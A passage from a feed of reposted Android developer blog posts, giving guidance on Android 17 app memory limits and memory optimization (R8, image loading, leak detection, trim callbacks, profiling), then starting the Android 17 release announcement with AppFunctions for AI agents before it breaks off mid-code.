    While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which these visible metrics are built. It's no secret that we're seeing a shift where device memory is more important than ever. Not only have we made strides in Android memory optimizations with Android 17, we're providing the tooling and API support to help you stay ahead of stricter memory requirements later this year.
</p>

<p>
    To ensure device stability, starting in Android 17, the system will begin enforcing app memory limits based on the device's total RAM. If an app exceeds those limits, Android will kill the process with no associated stack trace.
</p>

<div>
    Beyond these forced terminations, unoptimized memory usage inevitably degrades the user experience. When the app approaches heap memory limits, it triggers frequent garbage collection—leading to noticeable UI stutters. Furthermore, when a device runs out of available memory, the system scrambles to reclaim pages, causing CPU strain, UI latency, and battery drain. If the memory shortage is too severe, it can cause Low Memory Killer (LMK) events that abruptly terminate background processes and force apps to have slow cold starts and lose user state.
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<div>
    <p>To build highly performant apps and avoid these forced terminations, we recommend that you adopt the following memory optimization strategies:</p>
    <ol>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Maximize">Maximize bytecode optimization with R8</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Optimize">Optimize image loading</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Detect">Detect and fix memory leaks with Android Studio</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Trim">Trim memory when app leaves visible state</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Advanced">Advanced memory observability with ProfilingManager</a></li>
    </ol>
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    <div>
        <em>A condensed version of this blog post is also available in video format, go check it out!</em>
    </div>
    
    <h3>Understanding Android 17 app memory limits</h3>
    <p>App memory limits are being introduced in Android 17 to prevent "one bad actor" from destroying the multitasking experience and stability of the user’s entire device.</p>
    <p>Here is a breakdown of the reasons driving this architectural change:</p>
    
    <div>
        <ul>
            <li><b>Preventing cascading kills:</b> When an app becomes bloated or leaks memory while holding a privileged state (e.g. it’s running a Foreground Service), it is initially shielded from the system's Low Memory Killer (LMK). As this single app grows unchecked and hoards RAM, the LMK is forced to compensate by killing off dozens of smaller, well-behaved cached apps and background jobs to reclaim space for the memory hog.</li>
            <li><b>Preserving multitasking and user state:</b> When the system is forced to purge cached apps to accommodate a single leaking process, the multitasking experience is severely degraded. Users returning to prior cached applications encounter sluggish cold starts instead of near-instant warm resumes. This inefficiency generates more CPU strain and accelerates battery depletion. It can also destroy the user’s context in recently used apps, such as scroll positions, navigation stacks, and in-game progress.</li>
        </ul>
        
        <div>
            <p>To determine if your app session was impacted by these constraints in the field, you can call <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo#getDescription%28%29" target="_blank">getDescription()</a> within <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo" target="_blank">ApplicationExitInfo</a>. If the system applied a limit, the exit reason is reported as <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo#REASON_OTHER" target="_blank">REASON_OTHER</a> and the description string will contain "MemoryLimiter:AnonSwap". You can also leverage <a href="https://developer.android.com/topic/performance/tracing/profiling-manager/trigger-based-capture" target="_blank">trigger-based profiling</a> using <a href="https://developer.android.com/about/versions/17/features#anomaly-profiling-trigger" target="_blank">TRIGGER_TYPE_ANOMALY</a> to automatically capture heap dumps when the memory limit is reached. Furthermore, Android is actively working to surface more in-field memory metrics to developers within the Google Play Console.</p>
            <p>We have also expanded our <a href="https://developer.android.com/about/versions/17/behavior-changes-all#app-memory-limits" target="_blank">memory limits documentation</a> to include local debugging commands, allowing you to simulate memory constraints in your local environment and validate your application's behavior under any memory limit enforcement. </p>
        </div>
    </div>
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<div>
    <h3>Maximize bytecode optimization with R8</h3>
    <p>A highly effective way to reduce your app's memory footprint is to enable the R8 optimizer. By shrinking classes, methods, and fields into shorter names and stripping out unused code and resources, R8 significantly reduces your app's memory footprint by minimizing the amount of resident code required during execution. </p>
    <p>R8 minimizes resident code, shrinking the memory footprint and lowering LMK termination risk. This results in more frequent warm starts over slow cold starts. Additionally, streamlined bytecode reduces main-thread CPU overhead, directly cutting ANR rates for a more fluid user experience. For example, the digital bank <a href="https://developer.android.com/blog/posts/monzo-boosts-performance-metrics-by-up-to-35-with-a-simple-r8-update" target="_blank">Monzo</a> enabled full R8 optimization and saw a 35% reduction in their ANR rate, a 30% improvement in cold start rate, and a 9% reduction in overall app size.</p>
</div>

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    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB61hi7-o6RYAHNOoIg1egyi6iU3iGtLbwfOb-s6r_PadBV2LZzvYtcdD00iwcApjnqmwOssOLFSHv8MG_es8WJWaJUPaO6rMY4ZcINSBFROo_1Di3LVMvIEhPldpzQsUOxV1Z7VfPwvej2fa9a7yCNwBdGOGw2LMLtPrCST6InlqF1xHds30rS76C9no/s2500/pic1-IO26_113_TSV-monzo-casestudy.jpg">
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<div>
    <i>The digital bank <a href="https://developer.android.com/blog/posts/monzo-boosts-performance-metrics-by-up-to-35-with-a-simple-r8-update" target="_blank">Monzo</a> enabled full R8 optimization and boosted performance metrics by up to 35%.</i>
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<div>
    <p>To properly configure R8 in your <code>build.gradle</code> file:</p>
    <ul>
        <li>Set <code>isShrinkResources = true</code> and <code>isMinifyEnabled = true</code>.</li>
        <li>Use <code>proguard-android-optimize.txt</code> instead of the legacy <code>proguard-android.txt</code>, which actually prevents optimizations and is no longer supported in Android Gradle Plugin 9.</li>
        <li>Remove <code>android.enableR8.fullMode = false</code> from your <code>gradle.properties</code>.</li>
    </ul>
    
    <p>
        If you are using reflection in your code base, then add <a href="https://developer.android.com/topic/performance/app-optimization/keep-rules-overview#where-to-add-rules" target="_blank">Keep rules</a> to prevent R8 from optimizing those parts of the code. Make sure to scope the keep rules narrowly to get the maximum optimization.
    </p>
    <p>To get the maximum optimization, make sure to follow these best practices in your keep rule file.</p>
    
    <ul>
        <li>Remove global options like <code>-dontoptimize</code>, <code>-dontshrink</code>, and <code>-dontobfuscate</code> that prevent R8 from optimizing the entire codebase </li>
        <li>Remove keep rules that prevent optimizing Android components like Activity, Services, Views or Broadcast receivers.</li>
        <li>Refine the broad package wide keep rules to target only specific classes or methods.</li>
    </ul>
    
    <p>To see more best practices, view our <a href="https://developer.android.com/topic/performance/app-optimization/keep-rules-best-practices" target="_blank">keep rules documentation</a>.</p>
    
    <h3>Library Developer R8 Best Practices</h3>
    <p>If you are a library developer, strictly place the rules your consumers need into your <code>consumer-rules</code> file, and keep your library's internal protection rules in your <code>proguard-rules.pro</code> file. For more information on how to optimize libraries, see <a href="https://developer.android.com/topic/performance/app-optimization/library-optimization" target="_blank">Optimization for library authors</a>.</p>
    
    <h3>R8 Configuration Analyzer</h3>
    <p>To audit your R8 optimization, use the <b><a href="http://developer.android.com/r8-analyzer" target="_blank">Configuration Analyzer</a></b>. Configuration analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores. With configuration analyzer, you can also understand how many classes, methods or fields are prevented from optimization by each keep rule. Refine these broad package wide keep rules to unlock the maximum optimization.</p>
    <p>Using configuration analyzer, you can also identify keep rules that are subsuming other keep rules, redundant keep rules and unused keep rules.</p>
</div>

<div class="separator">
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        <img border="0" data-original-height="1156" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib0dTmk8w7EYsDiV0Ufd8CAnpWz36-ZDC_gCGFkS_0CGz0axCxOy3RBxuaOoUbR4kzaeFBXryfSR2rkxRsmTXNrPtuJw8n1DTiZiKDqHjv3AaEXteE9TKV3QxYtwCztvY-8a0GpBlOZhVV1p0ftgdxeiKGGnO3dLu_IOt-TB_7j-ZnbR2jSr_CNYzh-bc/s16000/pic2-r8-config-analyzer.png">
    </a>
</div>
<div>
    <i>The Configuration Analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores.</i>
</div>

<div>
    <h4><span>R8 Agent Skill </span></h4>
    <p>You can also leverage the <b><a href="https://github.com/android/skills/tree/main/performance/r8-analyzer" target="_blank">R8 Agent Skill</a></b> with Android Studio agent or other AI tools to resolve misconfigurations and refine your rules resulting in improved app performance. <i>(Insights from AI-driven skills will require technical verification)</i></p>
</div>

<h3>Optimize image loading</h3>
<div>
    <p>Bitmaps are usually the largest common objects residing in your app's memory. They represent the final stage of the image loading process where compressed files, like JPEGs or PNGs, are decoded into raw pixel data for display. This means a tiny 100KB compressed image can balloon into several megabytes of RAM because memory consumption is determined by the image's pixel dimensions and color depth. Since bitmap operations are frequently on the critical path to drawing frames, unoptimized images cause severe memory bloat and UI jank.</p>
    <p>Google recommends leveraging image loading libraries <b><a href="https://github.com/coil-kt/coil" target="_blank">Coil</a></b> for Kotlin-first projects, particularly when developing with Jetpack Compose and <b><a href="https://github.com/bumptech/glide" target="_blank">Glide</a></b> for Java-based applications.</p>
    
    <h4><span>Adopt these five best practices</span></h4>
    <ol>
        <li><b>Downsample images:</b> If you’re loading bitmaps manually, avoid loading a massive image into a tiny thumbnail view; use <a href="https://developer.android.com/topic/performance/graphics/load-bitmap" target="_blank">inSampleSize</a> to load a smaller version. Glide and Coil downsamples images by default and you can configure this downsample strategy using <a href="https://bumptech.github.io/glide/javadocs/470/com/bumptech/glide/load/resource/bitmap/DownsampleStrategy.html" target="_blank">DownsampleStrategy</a> and <a href="https://coil-kt.github.io/coil/image_loaders/" target="_blank">ImageLoader</a> respectively.</li>
        <li><b>Cropping:</b> Avoid embedding padding directly into an image file for letterboxing purposes (e.g., creating a transparent border to expand an image dimensions). Rather than baking in these borders, utilize <a href="https://developer.android.com/reference/android/graphics/drawable/InsetDrawable" target="_blank">InsetDrawable</a> or apply padding directly within the View or Composable containing the bitmap.</li>
        <li><b>Config:</b> Balance memory and quality by choosing the right pixel format. Use <code>RGB_565</code> when transparency isn't needed, which uses half the memory of the default <code>ARGB_8888</code> format. In Glide you can configure this by using <a href="https://bumptech.github.io/glide/javadocs/470/com/bumptech/glide/load/DecodeFormat.html" target="_blank">DecodeFormat</a> and in Coil you can use <a href="https://coil-kt.github.io/coil/api/coil-core/coil3.request/-image-request/" target="_blank">bitmapConfig</a> property.</li>
        <li><b>Prioritize vector drawables:</b> For basic geometric assets, leverage <a href="https://developer.android.com/reference/android/graphics/drawable/ShapeDrawable" target="_blank">ShapeDrawable</a> as a lightweight alternative to decoding rasterized bitmaps. By defining these assets once via XML, you ensure they scale seamlessly across all display densities while effectively eliminating resource-driven memory bloat.</li>
        <li><b>Reuse:</b> If your application manages Bitmaps manually then to minimize memory churn, when a bitmap is no longer required, the app should call <code>bitmap.recycle()</code> and immediately discard the Bitmap reference. If you use an image loading library like Glide or Coil, return the bitmap to the library’s managed pool. By providing an existing buffer for future memory needs, the pool effectively avoids the overhead of new allocations.</li>
    </ol>
    
    <p>Check out our documentation on <a href="https://developer.android.com/develop/ui/compose/graphics/images/optimization" target="_blank">Optimizing performance for images</a> to learn more.</p>
    
    <h4><span>Android Studio tooling</span></h4>
    <p>You can also eliminate redundant bitmaps using Android Studio Narwhal 4. Here is how to hunt them down in five simple steps:</p>
    <ol>
        <li>Open the <b>Profiler</b> tab in Android Studio</li>
        <li>Click <b>Heap Dump</b> (or "Analyze Memory Usage") and hit record to take a snapshot of your app’s current memory state.</li>
        <li>Scan the analysis results for the <b>yellow warning triangle</b> ⚠️, which Android Studio uses to flag duplicate bitmaps being stored multiple times. Alternatively, navigate to the profiler header, choose "Filter by:" and pick the "Duplicate Bitmaps" setting.</li>
        <li>Click on any flagged entry to open the <b>Bitmap Preview</b> pane, allowing you to see exactly which image is the repeat offender.</li>
        <li>Use that visual confirmation to track down the redundant loading logic in your code and implement a better caching strategy.</li>
    </ol>
</div>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDJ6djtozFY7DzrGB-EN8ajLVueF9MdLd4mod4jhtO8YwCzU7ObOwQ2w0Bap5A5NHJ7KVnXIRQqhW8cTdcFhMJPw5FIW1WU7D_Mwm-UC9Fsdr-MOn62xijpjKcS0NeUBnO957jmogGEISNQgeZQk3BVvUWK4BknTjLiuK2TbWCqwO3uTLkjkFhLwJre7w/s2379/pic3-IO26_113_TSV%20-dup-bitmaps-cropped.jpg"><img border="0" data-original-height="1162" data-original-width="2379" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDJ6djtozFY7DzrGB-EN8ajLVueF9MdLd4mod4jhtO8YwCzU7ObOwQ2w0Bap5A5NHJ7KVnXIRQqhW8cTdcFhMJPw5FIW1WU7D_Mwm-UC9Fsdr-MOn62xijpjKcS0NeUBnO957jmogGEISNQgeZQk3BVvUWK4BknTjLiuK2TbWCqwO3uTLkjkFhLwJre7w/s16000/pic3-IO26_113_TSV%20-dup-bitmaps-cropped.jpg"></a></div><div class="separator"><i>Look for the yellow warning triangle ⚠️ in heap dumps when using the Android Studio Profiler.</i></div>

<h3>Detect and fix memory leaks with Android Studio</h3>
<p>Memory leaks in Android occur when your code holds onto an object's reference long after its lifecycle has ended. This prevents the Garbage Collector (GC) from reclaiming that memory, eventually leading to sluggish performance or OutOfMemoryError (OOM).</p>
<p>Android Studio Panda 3 features a dedicated <a href="https://square.github.io/leakcanary/" target="_blank">LeakCanary</a> profiler task, allowing developers to analyze real-time memory leaks and map traces within the IDE.</p>
<p>The LeakCanary profiler task in Android Studio actively moves the memory leak analysis from your device to your development machine, resulting in a significant performance boost during the leak analysis phase as compared to on-device leak analysis.</p>

<div class="separator">
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        <img border="0" data-original-height="975" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKBixtkwy1hzwA6mikjRX_6vBJ9OQ_RCYdF94HUF8kOLYzQoQrPMLh_6h9u6EGeLzgFc8yjxg3_8zlqWIDCvKa1py5gyxDXasl8JLPDHSEgPpzPyYqzcme69rRKtfIlhMtyNRWXutGXNy-4WcefhSTBhqBgobK678fqvNqL5peOz1UD6ouunLaKPmJCw0/s16000/pic4-android-studio-leaks.png">
    </a>
</div>
<div>
    <i>LeakCanary memory leak analysis contextualized with <b>Go to declaration</b> for debugging</i>
</div>

<p>Additionally, the leak analysis is now contextualized within the IDE and fully integrated with your source code, providing features like go to declaration and other helpful code connections that drastically reduce the friction and time required to investigate and fix memory leaks.</p>

<div>
    <h4><span>Examples of common memory leaks </span></h4>
    <p>Memory leaks occur when an object persists in memory beyond its intended lifespan. This typically happens due to:</p>
    <ul>
        <li>Retaining references to Fragments, Activities, or Views that are no longer in use.</li>
        <li>Mismanaging Context references.</li>
        <li>Failing to properly unregister observers, listeners, and receivers.</li>
        <li>Creating static references to objects that are bound to components with shorter lifecycles.</li>
    </ul>
    
    <p>Here are a few example scenarios:</p>
    
    <div align="left" dir="ltr">
        <table>
            <colgroup>
                <col>
                <col>
                <col>
            </colgroup>
            <tbody>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Scenario</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Compose-based example</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">View-based example</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Context</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Passing LocalContext.current to a ViewModel</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Keep <code>Context</code> dependent logic within the UI layer. For non-UI layers, refactor to use <a href="https://developer.android.com/training/dependency-injection">dependency injection</a> or observe UI state using <a href="https://developer.android.com/kotlin/flow">Kotlin flow</a>.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Storing an <code>Activity</code> in a companion object or static variable.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Don’t hold static references to UI components. Refactor to use <a href="https://developer.android.com/training/dependency-injection">dependency injection</a> or observe UI state using <a href="https://developer.android.com/kotlin/flow">Kotlin flow</a>.</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Listeners</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Using <code>DisposableEffect</code> to start a listener but leaving <code>onDispose</code> empty.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Perform the unregistration and <a href="https://developer.android.com/develop/ui/compose/side-effects#disposableeffect">cleanup logic</a> inside the <code>onDispose</code> block.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Registering for SensorManager updates and forgetting to unregister.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Manually call <code>unregisterListener()</code> in <code>onStop()</code> or <code>onDestroy()</code> lifecycle.</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Views</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Holding a reference to a legacy <code>View</code> inside an <code>AndroidView</code> without a release strategy.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Use the <code>release</code> block of the <code>AndroidView</code> composable to clean up the legacy <code>View</code>.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Keeping a reference to a view binding object after the <code>Fragment</code> is destroyed.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Set the binding variable to <code>null</code> inside the <code>onDestroyView</code>() lifecycle method.</span></p>
                    </td>
                </tr>
            </tbody>
        </table>
    </div>
</div>

<h3>Trim memory when app leaves visible state</h3>
<p>Android can reclaim memory from your app or stop your app entirely if necessary to free up memory for critical tasks, as explained in <a href="https://developer.android.com/topic/performance/memory-overview" target="_blank">Overview of memory management</a>. Android will usually reclaim memory from your app when it’s not visible to the user, such as by discarding some of your app’s code and data pages in memory or compressing your heap allocations. When the user resumes your app and your app tries to access some memory that’s been reclaimed, the OS will swap that memory back in on demand. This swapping behavior can be slow, and cause unexpected jank or stutters in your app.</p>
<p>If you leave it to the OS to decide what memory to reclaim from your app, you may find that the OS reclaimed memory that you’ll need shortly after resuming your app. Instead, your app can voluntarily discard memory allocations that it can regenerate later, on demand and at a low cost. To do so, you can implement the <code>ComponentCallbacks2</code> interface. You can implement <code>onTrimMemory</code> in your <code>Activity</code>, <code>Fragment</code>, <code>Service</code>, or even your custom <code>Application</code> class. Using it in the <code>Application</code> class is highly effective for global cache management.</p>
<p>The provided <a href="https://developer.android.com/reference/android/content/ComponentCallbacks2#onTrimMemory(int)" target="_blank">onTrimMemory()</a> callback method notifies your app of lifecycle or memory-related events that present a good opportunity for your app to voluntarily reduce its memory usage.</p>
<p>In terms of memory lifecycle management, your implementation should focus <b>exclusively</b> on <code>TRIM_MEMORY_UI_HIDDEN</code> and <code>TRIM_MEMORY_BACKGROUND</code>. Since Android 14, the system has ceased delivering notifications for other legacy constants, which were formally deprecated in Android 15.</p>
<p><code>TRIM_MEMORY_UI_HIDDEN</code>: This signal indicates that your application's UI has transitioned out of the user's view. This provides an opportunity to release substantial memory allocations tied strictly to the interface—such as Bitmaps, video playback buffers, or complex animation resources.</p>
<p><code>TRIM_MEMORY_BACKGROUND</code>: At this level, your process is residing in the background and is now a candidate for termination to satisfy the system's global memory needs. To extend the duration your process remains in the cached state, and reduce the number of app cold starts, you should aggressively release any resources that can be easily reconstructed once the user resumes their session.</p>

<pre><code>import android.content.ComponentCallbacks2
// Other import statements.

class MainActivity : AppCompatActivity(), ComponentCallbacks2 {

    /**
     * Release memory when the UI becomes hidden or when system resources become low.
     * @param level the memory-related event that is raised.
     */
    override fun onTrimMemory(level: Int) {

        if (level &gt;= ComponentCallbacks2.TRIM_MEMORY_UI_HIDDEN) {
            // Release memory related to UI elements, such as bitmap caches.
        }

        if (level &gt;= ComponentCallbacks2.TRIM_MEMORY_BACKGROUND) {
            // Release memory related to background processing, such as by
            // closing a database connection.
        }
    }
}</code></pre>

<p>Note: The <code>onTrimMemory</code> integration may depend on SDK support. For instance, certain games rely on their game engine to enable this capability. Please check out the <a href="https://developer.android.com/games/optimize/memory-allocation" target="_blank">game memory optimization documents</a>.</p>

<h3>Advanced memory observability with ProfilingManager</h3>
<p>To catch and diagnose memory issues in the field that cannot be reproduced locally, you should leverage the <b>ProfilingManager API</b>. Introduced in Android 15, this advanced observability API allows you to programmatically collect real-user Perfetto profiles.</p>
<p>For teams that lack a dedicated infrastructure to manage and host performance artifacts, Crashlytics is exploring a specialized solution to streamline this workflow. They are inviting developers to <a href="https://docs.google.com/forms/d/e/1FAIpQLSe299a_zSNDfa164z7yyqoDjS05ZDRN86bAQKajuAOFEQ4G-w/viewform" target="_blank">provide feedback</a>.</p>

<p><b>Android 17 introduces new event-driven triggers</b>, most notably <code>TRIGGER_TYPE_OOM</code> and <code>TRIGGER_TYPE_ANOMALY</code>:</p>
<ul>
    <li>The <b>OOM trigger</b> automatically collects a Java heap dump at the exact moment an OutOfMemoryError crash occurs, providing precise allocation states. A collected OOM profile is provided the next time the app starts and registers the <code>registerForAllProfilingResults</code> callback.</li>
    <li>The <b>Anomaly trigger</b> detects severe performance issues, such as excessive binder spam or breached memory thresholds. The memory anomaly delivers a heap dump just prior to the system terminating the app.</li>
</ul>

<pre><code>  val profilingManager = 
applicationContext.getSystemService(ProfilingManager::class.java)
    val triggers = ArrayList<profilingtrigger>()  


    triggers.add(ProfilingTrigger.Builder(
                 ProfilingTrigger.TRIGGER_TYPE_ANOMALY))
    val mainExecutor: Executor = Executors.newSingleThreadExecutor()
    val resultCallback = Consumer<profilingresult> { profilingResult -&gt;
        if (profilingResult.errorCode != ProfilingResult.ERROR_NONE) {
            // upload profile result to server for further analysis          
            setupProfileUploadWorker(profilingResult.resultFilePath)
        } 

    profilingManager.registerForAllProfilingResults(mainExecutor, resultCallback)
    profilingManager.addProfilingTriggers(triggers)</profilingresult></profilingtrigger></code></pre>

<p>
    Once you’ve collected the heap dump, you can download the profile from the server, or locally via adb pull and drag and drop the file into the <a href="http://ui.perfetto.dev/" target="_blank">Perfetto UI</a>. To streamline your memory debugging workflow, use the <a href="https://perfetto.dev/docs/visualization/heap-dump-explorer" target="_blank">Heap Dump Explorer</a>, this is the new default view for heap dumps in Perfetto UI. This tool provides an intuitive interface for inspecting Java heap dumps, allowing you to visualize object allocation hierarchies, compute retained memory sizes, and identify the shortest path from garbage collection root. By leveraging the Heap Dump Explorer, you can rapidly pinpoint memory leaks, bloated retained objects such as excessive bitmap allocations, and analyze heap object allocations all in one place.
</p>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhobASfyUbXdAYD_MOjREv7RUhCwoNJ9sB4QDSImRfA0UrALJqwQ2ovgAF7YRt3f26UeZoIQa-yDxiSDO84gxv1XkQ8acf8E795-IgAe4tl8AM_7m7nSEuj7t_rhtpgM3f-76_lEh-k7Rltku79-VCuIDN_2Q9DRjJyouCKbxg4pDXHV2yey7V8WlG2jQM/s2048/pic5-perfettoheapdump-analyzer.png">
        <img border="0" data-original-height="1039" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhobASfyUbXdAYD_MOjREv7RUhCwoNJ9sB4QDSImRfA0UrALJqwQ2ovgAF7YRt3f26UeZoIQa-yDxiSDO84gxv1XkQ8acf8E795-IgAe4tl8AM_7m7nSEuj7t_rhtpgM3f-76_lEh-k7Rltku79-VCuIDN_2Q9DRjJyouCKbxg4pDXHV2yey7V8WlG2jQM/s16000/pic5-perfettoheapdump-analyzer.png">
    </a>
</div>
<div>
    <i>Use the <a href="https://perfetto.dev/docs/visualization/heap-dump-explorer">Heap Dump Explorer</a>’s embedded flamegraph to visually inspect and navigate through objects with the highest heap allocations.</i>
</div>

<h3>Conclusion</h3>
<p>Optimizing bytecode with R8, adopting image loading best practices, and resolving memory leaks are critical steps toward delivering a high-quality user experience while managing resources effectively under pressure. Adopting these proactive measures helps maintain app stability and performance, preventing unexpected terminations while safeguarding user context. To further your performance expertise, explore our revised <a href="https://developer.android.com/topic/performance/memory" target="_blank">memory guidance</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Android 17 is here]]></title>
<description><![CDATA[Posted by Matthew McCullough, VP of Product Management, Android DeveloperToday we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.

Android 17 marks the start of our transition to an intelligence system,...]]></description>
<link>https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:36 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgV7zuuXjulHty999mGDWY1kfL8Q9SXjYYWn-7JTpMfVdNP78eb5fW9shOpvVdEqK0WnNp7AhdO0qc7pXAaqcfTwXgOGsfZyqcQv8wyD-9niWBpZuP6ZAPHBSetWenN2lMlRS5wi2d71-n8RCYqrLsFhUCEvM7KeoGLnNaDbiyOZQ0vvyr0O580nXK4Vas/s2048/Metadata%20-%20Static.png"><div><i>Posted by Matthew McCullough, VP of Product Management, Android Developer</i></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5KPJZylMSUXRpKFRUd6oM4fNdEoDRdJzdkzg69P_BVUuIDtXqCqTid6hGH40CoHRw7-f50HsT6rISArklGH982MM4K1jKU16SSymes4JPoE4qOZ5s1lLnkbInpUpdJGu5erAYmSgiefzkkOX_ng3AUJKOzzwC1WMTjk2DxLNia8R1C-ErWc7jT4VP8ew/s4209/Blogger%20Hero%20-%20White.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5KPJZylMSUXRpKFRUd6oM4fNdEoDRdJzdkzg69P_BVUuIDtXqCqTid6hGH40CoHRw7-f50HsT6rISArklGH982MM4K1jKU16SSymes4JPoE4qOZ5s1lLnkbInpUpdJGu5erAYmSgiefzkkOX_ng3AUJKOzzwC1WMTjk2DxLNia8R1C-ErWc7jT4VP8ew/s16000/Blogger%20Hero%20-%20White.png"></a></div><br><p><br></p><p>Today we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjaHGBWXu3yvdXZ-wYQgN6DjN5TEMRIYDJvQDZTOybRZFWsAMhqhl14b9UZmrlXlEIRDioqRc8m3xRjOnQHJPoICkVpCho4qrmKihPbu_SB7dGVNKwlAaX6eWdjLF4VUdGyzGfxtW0ziFggj63e778VVo38qpMKar4E1wuw0MiPCBvBdrTTXCgI1XD04Q/s1080/AfD-Android-17.gif"><img border="0" data-original-height="1080" data-original-width="1080" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjaHGBWXu3yvdXZ-wYQgN6DjN5TEMRIYDJvQDZTOybRZFWsAMhqhl14b9UZmrlXlEIRDioqRc8m3xRjOnQHJPoICkVpCho4qrmKihPbu_SB7dGVNKwlAaX6eWdjLF4VUdGyzGfxtW0ziFggj63e778VVo38qpMKar4E1wuw0MiPCBvBdrTTXCgI1XD04Q/s320/AfD-Android-17.gif" width="320"></a></div>

<p>Android 17 marks the start of our transition to an intelligence system, putting your apps at the center. It's shifting to an adaptive-first development standard by introducing mandatory large-screen resizability, all while delivering next-generation privacy, security, media, camera, and performance. We'll cover all that in this post, as well as how we're bringing together next generation tools, libraries, and agent skills to help your apps embrace the opportunity.</p>

<p>Throughout the past year, from our Canary channel to our Beta releases, we’ve collaborated with you in the developer community to build a platform you and your users can trust. To that end, this moment marks the availability of the source code at the <a href="https://source.android.com/">Android Open Source Project</a> (AOSP). This allows you to <a href="https://cs.android.com/">examine the source code</a> for a deeper understanding of how Android works.</p>

<p>Let's dive deeper into Android 17.</p>

<h3>An intelligence system</h3>

<p>With deep integration between hardware, software and AI, we’re transforming Android from an operating system to an intelligence system. It's about delivering new helpful experiences that anticipate user needs, and it brings more opportunities for engagement with your apps. To that end, Android 17 expands the capabilities of AppFunctions, a platform API with a corresponding Jetpack library. It allows you to contribute your app's unique capabilities as orchestratable "tools" for Android MCP, the on-device equivalent of the <a href="https://modelcontextprotocol.io/">Model Context Protocol</a>. AI agents and assistants (like Google Gemini) can discover and execute AppFunctions to perform workflows on behalf of the user with direct access to the app's local state.</p>

<p>The Jetpack library, currently in alpha, makes adding AppFunctions as easy as annotating a class and adding KDoc comments.</p>

<pre><code>/**
 * A note app's [AppFunction]s.
 */
class NoteFunctions(
    private val noteRepository: NoteRepository
) {
    /**
     * Adds a new note to the app.
     *
     * @param appFunctionContext The execution context.
     * @param title The title of the note.
     * @param content The note's content.
     */
    @AppFunction(isDescribedByKDoc = true)
    suspend fun createNote(
        appFunctionContext: AppFunctionContext,
        title: String,
        content: String
    ): Note {
